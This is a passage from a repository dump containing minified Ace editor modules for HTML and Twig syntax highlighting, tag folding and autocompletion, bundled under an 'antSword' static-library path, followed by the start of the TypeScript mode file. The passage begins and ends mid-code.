n.selfClosing=t.value==\"/>\",n.end.row=e.getCurrentTokenRow(),n.end.column=e.getCurrentTokenColumn()+t.value.length,e.stepForward(),n;while(t=e.stepForward());return null},this._readTagBackward=function(e){var t=e.getCurrentToken();if(!t)return null;var n=new f;do{if(l(t,\"tag-open\"))return n.closing=l(t,\"end-tag-open\"),n.start.row=e.getCurrentTokenRow(),n.start.column=e.getCurrentTokenColumn(),e.stepBackward(),n;l(t,\"tag-name\")?n.tagName=t.value:l(t,\"tag-close\")&&(n.selfClosing=t.value==\"/>\",n.end.row=e.getCurrentTokenRow(),n.end.column=e.getCurrentTokenColumn()+t.value.length)}while(t=e.stepBackward());return null},this._pop=function(e,t){while(e.length){var n=e[e.length-1];if(!t||n.tagName==t.tagName)return e.pop();if(this.optionalEndTags.hasOwnProperty(n.tagName)){e.pop();continue}return null}},this.getFoldWidgetRange=function(e,t,n){var r=this._getFirstTagInLine(e,n);if(!r)return null;var i=r.closing||r.selfClosing,o=[],a;if(!i){var f=new u(e,n,r.start.column),l={row:n,column:r.start.column+r.tagName.length+2};r.start.row==r.end.row&&(l.column=r.end.column);while(a=this._readTagForward(f)){if(a.selfClosing){if(!o.length)return a.start.column+=a.tagName.length+2,a.end.column-=2,s.fromPoints(a.start,a.end);continue}if(a.closing){this._pop(o,a);if(o.length==0)return s.fromPoints(l,a.start)}else o.push(a)}}else{var f=new u(e,n,r.end.column),c={row:n,column:r.start.column};while(a=this._readTagBackward(f)){if(a.selfClosing){if(!o.length)return a.start.column+=a.tagName.length+2,a.end.column-=2,s.fromPoints(a.start,a.end);continue}if(!a.closing){this._pop(o,a);if(o.length==0)return a.start.column+=a.tagName.length+2,a.start.row==a.end.row&&a.start.column<a.end.column&&(a.start.column=a.end.column),s.fromPoints(a.start,c)}else o.push(a)}}}}).call(a.prototype)}),ace.define(\"ace/mode/folding/html\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/mixed\",\"ace/mode/folding/xml\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./mixed\").FoldMode,s=e(\"./xml\").FoldMode,o=e(\"./cstyle\").FoldMode,u=t.FoldMode=function(e,t){i.call(this,new s(e,t),{\"js-\":new o,\"css-\":new o})};r.inherits(u,i)}),ace.define(\"ace/mode/html_completions\",[\"require\",\"exports\",\"module\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";function f(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}function l(e,t){var n=new r(e,t.row,t.column),i=n.getCurrentToken();while(i&&!f(i,\"tag-name\"))i=n.stepBackward();if(i)return i.value}var r=e(\"../token_iterator\").TokenIterator,i=[\"accesskey\",\"class\",\"contenteditable\",\"contextmenu\",\"dir\",\"draggable\",\"dropzone\",\"hidden\",\"id\",\"inert\",\"itemid\",\"itemprop\",\"itemref\",\"itemscope\",\"itemtype\",\"lang\",\"spellcheck\",\"style\",\"tabindex\",\"title\",\"translate\"],s=[\"onabort\",\"onblur\",\"oncancel\",\"oncanplay\",\"oncanplaythrough\",\"onchange\",\"onclick\",\"onclose\",\"oncontextmenu\",\"oncuechange\",\"ondblclick\",\"ondrag\",\"ondragend\",\"ondragenter\",\"ondragleave\",\"ondragover\",\"ondragstart\",\"ondrop\",\"ondurationchange\",\"onemptied\",\"onended\",\"onerror\",\"onfocus\",\"oninput\",\"oninvalid\",\"onkeydown\",\"onkeypress\",\"onkeyup\",\"onload\",\"onloadeddata\",\"onloadedmetadata\",\"onloadstart\",\"onmousedown\",\"onmousemove\",\"onmouseout\",\"onmouseover\",\"onmouseup\",\"onmousewheel\",\"onpause\",\"onplay\",\"onplaying\",\"onprogress\",\"onratechange\",\"onreset\",\"onscroll\",\"onseeked\",\"onseeking\",\"onselect\",\"onshow\",\"onstalled\",\"onsubmit\",\"onsuspend\",\"ontimeupdate\",\"onvolumechange\",\"onwaiting\"],o=i.concat(s),u={html:[\"manifest\"],head:[],title:[],base:[\"href\",\"target\"],link:[\"href\",\"hreflang\",\"rel\",\"media\",\"type\",\"sizes\"],meta:[\"http-equiv\",\"name\",\"content\",\"charset\"],style:[\"type\",\"media\",\"scoped\"],script:[\"charset\",\"type\",\"src\",\"defer\",\"async\"],noscript:[\"href\"],body:[\"onafterprint\",\"onbeforeprint\",\"onbeforeunload\",\"onhashchange\",\"onmessage\",\"onoffline\",\"onpopstate\",\"onredo\",\"onresize\",\"onstorage\",\"onundo\",\"onunload\"],section:[],nav:[],article:[\"pubdate\"],aside:[],h1:[],h2:[],h3:[],h4:[],h5:[],h6:[],header:[],footer:[],address:[],main:[],p:[],hr:[],pre:[],blockquote:[\"cite\"],ol:[\"start\",\"reversed\"],ul:[],li:[\"value\"],dl:[],dt:[],dd:[],figure:[],figcaption:[],div:[],a:[\"href\",\"target\",\"ping\",\"rel\",\"media\",\"hreflang\",\"type\"],em:[],strong:[],small:[],s:[],cite:[],q:[\"cite\"],dfn:[],abbr:[],data:[],time:[\"datetime\"],code:[],\"var\":[],samp:[],kbd:[],sub:[],sup:[],i:[],b:[],u:[],mark:[],ruby:[],rt:[],rp:[],bdi:[],bdo:[],span:[],br:[],wbr:[],ins:[\"cite\",\"datetime\"],del:[\"cite\",\"datetime\"],img:[\"alt\",\"src\",\"height\",\"width\",\"usemap\",\"ismap\"],iframe:[\"name\",\"src\",\"height\",\"width\",\"sandbox\",\"seamless\"],embed:[\"src\",\"height\",\"width\",\"type\"],object:[\"param\",\"data\",\"type\",\"height\",\"width\",\"usemap\",\"name\",\"form\",\"classid\"],param:[\"name\",\"value\"],video:[\"src\",\"autobuffer\",\"autoplay\",\"loop\",\"controls\",\"width\",\"height\",\"poster\"],audio:[\"src\",\"autobuffer\",\"autoplay\",\"loop\",\"controls\"],source:[\"src\",\"type\",\"media\"],track:[\"kind\",\"src\",\"srclang\",\"label\",\"default\"],canvas:[\"width\",\"height\"],map:[\"name\"],area:[\"shape\",\"coords\",\"href\",\"hreflang\",\"alt\",\"target\",\"media\",\"rel\",\"ping\",\"type\"],svg:[],math:[],table:[\"summary\"],caption:[],colgroup:[\"span\"],col:[\"span\"],tbody:[],thead:[],tfoot:[],tr:[],td:[\"headers\",\"rowspan\",\"colspan\"],th:[\"headers\",\"rowspan\",\"colspan\",\"scope\"],form:[\"accept-charset\",\"action\",\"autocomplete\",\"enctype\",\"method\",\"name\",\"novalidate\",\"target\"],fieldset:[\"disabled\",\"form\",\"name\"],legend:[],label:[\"form\",\"for\"],input:[\"type\",\"accept\",\"alt\",\"autocomplete\",\"checked\",\"disabled\",\"form\",\"formaction\",\"formenctype\",\"formmethod\",\"formnovalidate\",\"formtarget\",\"height\",\"list\",\"max\",\"maxlength\",\"min\",\"multiple\",\"pattern\",\"placeholder\",\"readonly\",\"required\",\"size\",\"src\",\"step\",\"width\",\"files\",\"value\"],button:[\"autofocus\",\"disabled\",\"form\",\"formaction\",\"formenctype\",\"formmethod\",\"formnovalidate\",\"formtarget\",\"name\",\"value\",\"type\"],select:[\"autofocus\",\"disabled\",\"form\",\"multiple\",\"name\",\"size\"],datalist:[],optgroup:[\"disabled\",\"label\"],option:[\"disabled\",\"selected\",\"label\",\"value\"],textarea:[\"autofocus\",\"disabled\",\"form\",\"maxlength\",\"name\",\"placeholder\",\"readonly\",\"required\",\"rows\",\"cols\",\"wrap\"],keygen:[\"autofocus\",\"challenge\",\"disabled\",\"form\",\"keytype\",\"name\"],output:[\"for\",\"form\",\"name\"],progress:[\"value\",\"max\"],meter:[\"value\",\"min\",\"max\",\"low\",\"high\",\"optimum\"],details:[\"open\"],summary:[],command:[\"type\",\"label\",\"icon\",\"disabled\",\"checked\",\"radiogroup\",\"command\"],menu:[\"type\",\"label\"],dialog:[\"open\"]},a=Object.keys(u),c=function(){};(function(){this.getCompletions=function(e,t,n,r){var i=t.getTokenAt(n.row,n.column);return i?f(i,\"tag-name\")||f(i,\"tag-open\")||f(i,\"end-tag-open\")?this.getTagCompletions(e,t,n,r):f(i,\"tag-whitespace\")||f(i,\"attribute-name\")?this.getAttributeCompetions(e,t,n,r):[]:[]},this.getTagCompletions=function(e,t,n,r){return a.map(function(e){return{value:e,meta:\"tag\",score:Number.MAX_VALUE}})},this.getAttributeCompetions=function(e,t,n,r){var i=l(t,n);if(!i)return[];var s=o;return i in u&&(s=s.concat(u[i])),s.map(function(e){return{caption:e,snippet:e+'=\"$0\"',meta:\"attribute\",score:Number.MAX_VALUE}})}}).call(c.prototype),t.HtmlCompletions=c}),ace.define(\"ace/mode/html\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text\",\"ace/mode/javascript\",\"ace/mode/css\",\"ace/mode/html_highlight_rules\",\"ace/mode/behaviour/xml\",\"ace/mode/folding/html\",\"ace/mode/html_completions\",\"ace/worker/worker_client\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text\").Mode,o=e(\"./javascript\").Mode,u=e(\"./css\").Mode,a=e(\"./html_highlight_rules\").HtmlHighlightRules,f=e(\"./behaviour/xml\").XmlBehaviour,l=e(\"./folding/html\").FoldMode,c=e(\"./html_completions\").HtmlCompletions,h=e(\"../worker/worker_client\").WorkerClient,p=[\"area\",\"base\",\"br\",\"col\",\"embed\",\"hr\",\"img\",\"input\",\"keygen\",\"link\",\"meta\",\"menuitem\",\"param\",\"source\",\"track\",\"wbr\"],d=[\"li\",\"dt\",\"dd\",\"p\",\"rt\",\"rp\",\"optgroup\",\"option\",\"colgroup\",\"td\",\"th\"],v=function(e){this.fragmentContext=e&&e.fragmentContext,this.HighlightRules=a,this.$behaviour=new f,this.$completer=new c,this.createModeDelegates({\"js-\":o,\"css-\":u}),this.foldingRules=new l(this.voidElements,i.arrayToMap(d))};r.inherits(v,s),function(){this.blockComment={start:\"<!--\",end:\"-->\"},this.voidElements=i.arrayToMap(p),this.getNextLineIndent=function(e,t,n){return this.$getIndent(t)},this.checkOutdent=function(e,t,n){return!1},this.getCompletions=function(e,t,n,r){return this.$completer.getCompletions(e,t,n,r)},this.createWorker=function(e){if(this.constructor!=v)return;var t=new h([\"ace\"],\"ace/mode/html_worker\",\"Worker\");return t.attachToDocument(e.getDocument()),this.fragmentContext&&t.call(\"setOptions\",[{context:this.fragmentContext}]),t.on(\"error\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/html\"}.call(v.prototype),t.Mode=v}),ace.define(\"ace/mode/twig_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/html_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./html_highlight_rules\").HtmlHighlightRules,o=e(\"./text_highlight_rules\").TextHighlightRules,u=function(){s.call(this);var e=\"autoescape|block|do|embed|extends|filter|flush|for|from|if|import|include|macro|sandbox|set|spaceless|use|verbatim\";e=e+\"|end\"+e.replace(/\\|/g,\"|end\");var t=\"abs|batch|capitalize|convert_encoding|date|date_modify|default|e|escape|first|format|join|json_encode|keys|last|length|lower|merge|nl2br|number_format|raw|replace|reverse|slice|sort|split|striptags|title|trim|upper|url_encode\",n=\"attribute|constant|cycle|date|dump|parent|random|range|template_from_string\",r=\"constant|divisibleby|sameas|defined|empty|even|iterable|odd\",i=\"null|none|true|false\",o=\"b-and|b-xor|b-or|in|is|and|or|not\",u=this.createKeywordMapper({\"keyword.control.twig\":e,\"support.function.twig\":[t,n,r].join(\"|\"),\"keyword.operator.twig\":o,\"constant.language.twig\":i},\"identifier\");for(var a in this.$rules)this.$rules[a].unshift({token:\"variable.other.readwrite.local.twig\",regex:\"\\\\{\\\\{-?\",push:\"twig-start\"},{token:\"meta.tag.twig\",regex:\"\\\\{%-?\",push:\"twig-start\"},{token:\"comment.block.twig\",regex:\"\\\\{#-?\",push:\"twig-comment\"});this.$rules[\"twig-comment\"]=[{token:\"comment.block.twig\",regex:\".*-?#\\\\}\",next:\"pop\"}],this.$rules[\"twig-start\"]=[{token:\"variable.other.readwrite.local.twig\",regex:\"-?\\\\}\\\\}\",next:\"pop\"},{token:\"meta.tag.twig\",regex:\"-?%\\\\}\",next:\"pop\"},{token:\"string\",regex:\"'\",next:\"twig-qstring\"},{token:\"string\",regex:'\"',next:\"twig-qqstring\"},{token:\"constant.numeric\",regex:\"0[xX][0-9a-fA-F]+\\\\b\"},{token:\"constant.numeric\",regex:\"[+-]?\\\\d+(?:(?:\\\\.\\\\d*)?(?:[eE][+-]?\\\\d+)?)?\\\\b\"},{token:\"constant.language.boolean\",regex:\"(?:true|false)\\\\b\"},{token:u,regex:\"[a-zA-Z_$][a-zA-Z0-9_$]*\\\\b\"},{token:\"keyword.operator.assignment\",regex:\"=|~\"},{token:\"keyword.operator.comparison\",regex:\"==|!=|<|>|>=|<=|===\"},{token:\"keyword.operator.arithmetic\",regex:\"\\\\+|-|/|%|//|\\\\*|\\\\*\\\\*\"},{token:\"keyword.operator.other\",regex:\"\\\\.\\\\.|\\\\|\"},{token:\"punctuation.operator\",regex:/\\?|\\:|\\,|\\;|\\./},{token:\"paren.lparen\",regex:/[\\[\\({]/},{token:\"paren.rparen\",regex:/[\\])}]/},{token:\"text\",regex:\"\\\\s+\"}],this.$rules[\"twig-qqstring\"]=[{token:\"constant.language.escape\",regex:/\\\\[\\\\\"$#ntr]|#{[^\"}]*}/},{token:\"string\",regex:'\"',next:\"twig-start\"},{defaultToken:\"string\"}],this.$rules[\"twig-qstring\"]=[{token:\"constant.language.escape\",regex:/\\\\[\\\\'ntr]}/},{token:\"string\",regex:\"'\",next:\"twig-start\"},{defaultToken:\"string\"}],this.normalizeRules()};r.inherits(u,o),t.TwigHighlightRules=u}),ace.define(\"ace/mode/twig\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/html\",\"ace/mode/twig_highlight_rules\",\"ace/mode/matching_brace_outdent\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./html\").Mode,s=e(\"./twig_highlight_rules\").TwigHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=function(){i.call(this),this.HighlightRules=s,this.$outdent=new o};r.inherits(u,i),function(){this.blockComment={start:\"{#\",end:\"#}\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens,o=i.state;if(s.length&&s[s.length-1].type==\"comment\")return r;if(e==\"start\"){var u=t.match(/^.*[\\{\\(\\[]\\s*$/);u&&(r+=n)}return r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.$id=\"ace/mode/twig\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "antSword/static/libs/ace/mode-typescript.js",
    "content": "ace.define(\"ace/mode/doc_comment_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment.doc.tag\",regex:\"@[\\\\w\\\\d_]+\"},s.getTagRule(),{defaultToken:\"comment.doc\",caseInsensitive:!0}]}};r.inherits(s,i),s.getTagRule=function(e){return{token:\"comment.doc.tag.storage.type\",regex:\"\\\\b(?:TODO|FIXME|XXX|HACK)\\\\b\"}},s.getStartRule=function(e){return{token:\"comment.doc\",regex:\"\\\\/\\\\*(?=\\\\*)\",next:e}},s.getEndRule=function(e){return{token:\"comment.doc\",regex:\"\\\\*\\\\/\",next:e}},t.DocCommentHighlightRules=s}),ace.define(\"ace/mode/javascript_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,s=e(\"./text_highlight_rules\").TextHighlightRules,o=function(e){var t=this.createKeywordMapper({\"variable.language\":\"Array|Boolean|Date|Function|Iterator|Number|Object|RegExp|String|Proxy|Namespace|QName|XML|XMLList|ArrayBuffer|Float32Array|Float64Array|Int16Array|Int32Array|Int8Array|Uint16Array|Uint32Array|Uint8Array|Uint8ClampedArray|Error|EvalError|InternalError|RangeError|ReferenceError|StopIteration|SyntaxError|TypeError|URIError|decodeURI|decodeURIComponent|encodeURI|encodeURIComponent|eval|isFinite|isNaN|parseFloat|parseInt|JSON|Math|this|arguments|prototype|window|document\",keyword:\"const|yield|import|get|set|break|case|catch|continue|default|delete|do|else|finally|for|function|if|in|instanceof|new|return|switch|throw|try|typeof|let|var|while|with|debugger|__parent__|__count__|escape|unescape|with|__proto__|class|enum|extends|super|export|implements|private|public|interface|package|protected|static\",\"storage.type\":\"const|let|var|function\",\"constant.language\":\"null|Infinity|NaN|undefined\",\"support.function\":\"alert\",\"constant.language.boolean\":\"true|false\"},\"identifier\"),n=\"case|do|else|finally|in|instanceof|return|throw|try|typeof|yield|void\",r=\"[a-zA-Z\\\\$_\\u00a1-\\uffff][a-zA-Z\\\\d\\\\$_\\u00a1-\\uffff]*\\\\b\",s=\"\\\\\\\\(?:x[0-9a-fA-F]{2}|u[0-9a-fA-F]{4}|[0-2][0-7]{0,2}|3[0-6][0-7]?|37[0-7]?|[4-7][0-7]?|.)\";this.$rules={no_regex:[{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment\"},i.getStartRule(\"doc-start\"),{token:\"comment\",regex:/\\/\\*/,next:\"comment\"},{token:\"string\",regex:\"'(?=.)\",next:\"qstring\"},{token:\"string\",regex:'\"(?=.)',next:\"qqstring\"},{token:\"constant.numeric\",regex:/0[xX][0-9a-fA-F]+\\b/},{token:\"constant.numeric\",regex:/[+-]?\\d+(?:(?:\\.\\d*)?(?:[eE][+-]?\\d+)?)?\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\"],regex:\"(\"+r+\")(\\\\.)(prototype)(\\\\.)(\"+r+\")(\\\\s*)(=)\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\.)(\"+r+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\.)(\"+r+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s+)(\\\\w+)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(function)(\\\\s+)(\"+r+\")(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"punctuation.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\s*)(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"text\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:\"keyword\",regex:\"(?:\"+n+\")\\\\b\",next:\"start\"},{token:[\"punctuation.operator\",\"support.function\"],regex:/(\\.)(s(?:h(?:ift|ow(?:Mod(?:elessDialog|alDialog)|Help))|croll(?:X|By(?:Pages|Lines)?|Y|To)?|t(?:op|rike)|i(?:n|zeToContent|debar|gnText)|ort|u(?:p|b(?:str(?:ing)?)?)|pli(?:ce|t)|e(?:nd|t(?:Re(?:sizable|questHeader)|M(?:i(?:nutes|lliseconds)|onth)|Seconds|Ho(?:tKeys|urs)|Year|Cursor|Time(?:out)?|Interval|ZOptions|Date|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Date|FullYear)|FullYear|Active)|arch)|qrt|lice|avePreferences|mall)|h(?:ome|andleEvent)|navigate|c(?:har(?:CodeAt|At)|o(?:s|n(?:cat|textual|firm)|mpile)|eil|lear(?:Timeout|Interval)?|a(?:ptureEvents|ll)|reate(?:StyleSheet|Popup|EventObject))|t(?:o(?:GMTString|S(?:tring|ource)|U(?:TCString|pperCase)|Lo(?:caleString|werCase))|est|a(?:n|int(?:Enabled)?))|i(?:s(?:NaN|Finite)|ndexOf|talics)|d(?:isableExternalCapture|ump|etachEvent)|u(?:n(?:shift|taint|escape|watch)|pdateCommands)|j(?:oin|avaEnabled)|p(?:o(?:p|w)|ush|lugins.refresh|a(?:ddings|rse(?:Int|Float)?)|r(?:int|ompt|eference))|e(?:scape|nableExternalCapture|val|lementFromPoint|x(?:p|ec(?:Script|Command)?))|valueOf|UTC|queryCommand(?:State|Indeterm|Enabled|Value)|f(?:i(?:nd|le(?:ModifiedDate|Size|CreatedDate|UpdatedDate)|xed)|o(?:nt(?:size|color)|rward)|loor|romCharCode)|watch|l(?:ink|o(?:ad|g)|astIndexOf)|a(?:sin|nchor|cos|t(?:tachEvent|ob|an(?:2)?)|pply|lert|b(?:s|ort))|r(?:ou(?:nd|teEvents)|e(?:size(?:By|To)|calc|turnValue|place|verse|l(?:oad|ease(?:Capture|Events)))|andom)|g(?:o|et(?:ResponseHeader|M(?:i(?:nutes|lliseconds)|onth)|Se(?:conds|lection)|Hours|Year|Time(?:zoneOffset)?|Da(?:y|te)|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Da(?:y|te)|FullYear)|FullYear|A(?:ttention|llResponseHeaders)))|m(?:in|ove(?:B(?:y|elow)|To(?:Absolute)?|Above)|ergeAttributes|a(?:tch|rgins|x))|b(?:toa|ig|o(?:ld|rderWidths)|link|ack))\\b(?=\\()/},{token:[\"punctuation.operator\",\"support.function.dom\"],regex:/(\\.)(s(?:ub(?:stringData|mit)|plitText|e(?:t(?:NamedItem|Attribute(?:Node)?)|lect))|has(?:ChildNodes|Feature)|namedItem|c(?:l(?:ick|o(?:se|neNode))|reate(?:C(?:omment|DATASection|aption)|T(?:Head|extNode|Foot)|DocumentFragment|ProcessingInstruction|E(?:ntityReference|lement)|Attribute))|tabIndex|i(?:nsert(?:Row|Before|Cell|Data)|tem)|open|delete(?:Row|C(?:ell|aption)|T(?:Head|Foot)|Data)|focus|write(?:ln)?|a(?:dd|ppend(?:Child|Data))|re(?:set|place(?:Child|Data)|move(?:NamedItem|Child|Attribute(?:Node)?)?)|get(?:NamedItem|Element(?:sBy(?:Name|TagName|ClassName)|ById)|Attribute(?:Node)?)|blur)\\b(?=\\()/},{token:[\"punctuation.operator\",\"support.constant\"],regex:/(\\.)(s(?:ystemLanguage|cr(?:ipts|ollbars|een(?:X|Y|Top|Left))|t(?:yle(?:Sheets)?|atus(?:Text|bar)?)|ibling(?:Below|Above)|ource|uffixes|e(?:curity(?:Policy)?|l(?:ection|f)))|h(?:istory|ost(?:name)?|as(?:h|Focus))|y|X(?:MLDocument|SLDocument)|n(?:ext|ame(?:space(?:s|URI)|Prop))|M(?:IN_VALUE|AX_VALUE)|c(?:haracterSet|o(?:n(?:structor|trollers)|okieEnabled|lorDepth|mp(?:onents|lete))|urrent|puClass|l(?:i(?:p(?:boardData)?|entInformation)|osed|asses)|alle(?:e|r)|rypto)|t(?:o(?:olbar|p)|ext(?:Transform|Indent|Decoration|Align)|ags)|SQRT(?:1_2|2)|i(?:n(?:ner(?:Height|Width)|put)|ds|gnoreCase)|zIndex|o(?:scpu|n(?:readystatechange|Line)|uter(?:Height|Width)|p(?:sProfile|ener)|ffscreenBuffering)|NEGATIVE_INFINITY|d(?:i(?:splay|alog(?:Height|Top|Width|Left|Arguments)|rectories)|e(?:scription|fault(?:Status|Ch(?:ecked|arset)|View)))|u(?:ser(?:Profile|Language|Agent)|n(?:iqueID|defined)|pdateInterval)|_content|p(?:ixelDepth|ort|ersonalbar|kcs11|l(?:ugins|atform)|a(?:thname|dding(?:Right|Bottom|Top|Left)|rent(?:Window|Layer)?|ge(?:X(?:Offset)?|Y(?:Offset)?))|r(?:o(?:to(?:col|type)|duct(?:Sub)?|mpter)|e(?:vious|fix)))|e(?:n(?:coding|abledPlugin)|x(?:ternal|pando)|mbeds)|v(?:isibility|endor(?:Sub)?|Linkcolor)|URLUnencoded|P(?:I|OSITIVE_INFINITY)|f(?:ilename|o(?:nt(?:Size|Family|Weight)|rmName)|rame(?:s|Element)|gColor)|E|whiteSpace|l(?:i(?:stStyleType|n(?:eHeight|kColor))|o(?:ca(?:tion(?:bar)?|lName)|wsrc)|e(?:ngth|ft(?:Context)?)|a(?:st(?:M(?:odified|atch)|Index|Paren)|yer(?:s|X)|nguage))|a(?:pp(?:MinorVersion|Name|Co(?:deName|re)|Version)|vail(?:Height|Top|Width|Left)|ll|r(?:ity|guments)|Linkcolor|bove)|r(?:ight(?:Context)?|e(?:sponse(?:XML|Text)|adyState))|global|x|m(?:imeTypes|ultiline|enubar|argin(?:Right|Bottom|Top|Left))|L(?:N(?:10|2)|OG(?:10E|2E))|b(?:o(?:ttom|rder(?:Width|RightWidth|BottomWidth|Style|Color|TopWidth|LeftWidth))|ufferDepth|elow|ackground(?:Color|Image)))\\b/},{token:[\"support.constant\"],regex:/that\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function.firebug\"],regex:/(console)(\\.)(warn|info|log|error|time|trace|timeEnd|assert)\\b/},{token:t,regex:r},{token:\"keyword.operator\",regex:/--|\\+\\+|===|==|=|!=|!==|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\|\\||\\?\\:|[!$%&*+\\-~\\/^]=?/,next:\"start\"},{token:\"punctuation.operator\",regex:/[?:,;.]/,next:\"start\"},{token:\"paren.lparen\",regex:/[\\[({]/,next:\"start\"},{token:\"paren.rparen\",regex:/[\\])}]/},{token:\"comment\",regex:/^#!.*$/}],start:[i.getStartRule(\"doc-start\"),{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment_regex_allowed\"},{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment_regex_allowed\"},{token:\"string.regexp\",regex:\"\\\\/\",next:\"regex\"},{token:\"text\",regex:\"\\\\s+|^$\",next:\"start\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],regex:[{token:\"regexp.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"string.regexp\",regex:\"/[sxngimy]*\",next:\"no_regex\"},{token:\"invalid\",regex:/\\{\\d+\\b,?\\d*\\}[+*]|[+*$^?][+*]|[$^][?]|\\?{3,}/},{token:\"constant.language.escape\",regex:/\\(\\?[:=!]|\\)|\\{\\d+\\b,?\\d*\\}|[+*]\\?|[()$^+*?.]/},{token:\"constant.language.delimiter\",regex:/\\|/},{token:\"constant.language.escape\",regex:/\\[\\^?/,next:\"regex_character_class\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp\"}],regex_character_class:[{token:\"regexp.charclass.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"constant.language.escape\",regex:\"]\",next:\"regex\"},{token:\"constant.language.escape\",regex:\"-\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp.charachterclass\"}],function_arguments:[{token:\"variable.parameter\",regex:r},{token:\"punctuation.operator\",regex:\"[, ]+\"},{token:\"punctuation.operator\",regex:\"$\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],comment:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],qqstring:[{token:\"constant.language.escape\",regex:s},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qqstring\"},{token:\"string\",regex:'\"|$',next:\"no_regex\"},{defaultToken:\"string\"}],qstring:[{token:\"constant.language.escape\",regex:s},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qstring\"},{token:\"string\",regex:\"'|$\",next:\"no_regex\"},{defaultToken:\"string\"}]},(!e||!e.noES6)&&this.$rules.no_regex.unshift({regex:\"[{}]\",onMatch:function(e,t,n){this.next=e==\"{\"?this.nextState:\"\";if(e==\"{\"&&n.length)return n.unshift(\"start\",t),\"paren\";if(e==\"}\"&&n.length){n.shift(),this.next=n.shift();if(this.next.indexOf(\"string\")!=-1)return\"paren.quasi.end\"}return 